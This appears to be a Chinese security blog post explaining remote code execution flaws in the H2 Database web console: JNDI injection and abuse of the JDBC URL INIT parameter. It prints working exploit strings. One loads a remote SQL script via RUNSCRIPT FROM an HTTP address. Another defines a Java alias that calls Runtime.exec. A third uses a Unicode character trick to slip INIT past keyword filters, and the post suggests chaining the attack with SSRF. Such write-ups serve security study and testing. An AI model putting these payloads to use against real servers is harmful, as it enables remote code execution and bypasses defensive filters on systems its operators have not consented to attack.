H2数据库相关漏洞
H2 Database是一个纯Java编写的关系型数据库,可以在内存中运行,通常用在小型的应用,自带一个web管理页面,这个H2管理web应用存在一些远程代码执行漏洞,默认不开启,如果开启,默认是不对外开放的,只能本地访问(但是可以配合ssrf漏洞来攻击)
相关配置
1 | spring.h2.console.path=/h2-console # 自定义访问路径 |
环境搭建: Spring Boot 整合使用 H2 内存数据库 - spring 中文网
1.4.x系列(兼容java8的版本)
环境:java8 + 1.4.200(1.4系列最新版)
H2 Database 打JNDI
1.1.100<= H2 Console <=2.0.204
H2允许通过jndi的形式加载数据源,但没有对lookup()参数做校验导致漏洞
org.h2.util.JdbcUtils.getConnection()


H2 JDBC连接处利用INIT函数
需要目标服务器有javac环境
H2 支持在 JDBC URL 里用 INIT= 指定一段 SQL,在数据库连接建立时自动执行并且支持 CREATE ALIAS 直接定义 Java 方法,这就导致了可以任意java代码执行
出网payload(vps上共享的恶意文件不一定要.sql文件,空后缀也可以,可以用来绕过拦截)
1 | jdbc:h2:file:.\\data\\demo;INIT=RUNSCRIPT FROM 'http://127.0.0.1:7777/poc.sql' |
不出网payload
1 | jdbc:h2:file:.\\data\\demo;INIT=DROP ALIAS IF EXISTS EXEC\;CREATE ALIAS EXEC AS $$void shellexec() throws Exception {Runtime.getRuntime().exec("calc")\;}$$\;CALL EXEC() |

2.x 系列(需要java11+环境)
环境: java11 + 2.4.240

H2 Database 打JNDI(被修复)
这个漏洞在2.0.204版本被修复,jndi禁用了不安全协议,只允许本地java协议去加载数据
org.h2.util.JdbcUtils.getConnection()

H2 JDBC连接处利用INIT函数
和1.4.x版本一样,不修复是因为官方认为这是正常功能
出网payload(vps上共享的恶意文件不一定要.sql文件,空后缀也可以,可以用来绕过拦截)
1 | jdbc:h2:file:.\\data\\demo;INIT=RUNSCRIPT FROM 'http://127.0.0.1:7777/poc.sql' |
不出网payload
1 | jdbc:h2:file:.\\data\\demo;INIT=DROP ALIAS IF EXISTS EXEC\;CREATE ALIAS EXEC AS $$void shellexec() throws Exception {Runtime.getRuntime().exec("calc")\;}$$\;CALL EXEC() |

CREATE ALIAS 除了可以创建 Java 函数外, 还能够直接引用已知的 Java 静态方法, 这个过程无需javac环境
H2 RCE 在 JRE 17 环境下的利用 | X1r0z Blog
INIT关键词绕过
h2自动小写转大写,而“ı”转成大写后等于“I”。“ſ”大写后变成“S”,所以
1 | INIT=ınıt |

- Title: H2数据库相关漏洞
- Author: mapl3miss
- Created at : 2025-09-19 12:22:05
- Updated at : 2025-12-29 21:35:41
- Link: https://redefine.ohevan.com/2025/09/19/H2数据库相关漏洞/
- License: This work is licensed under CC BY-NC-SA 4.0.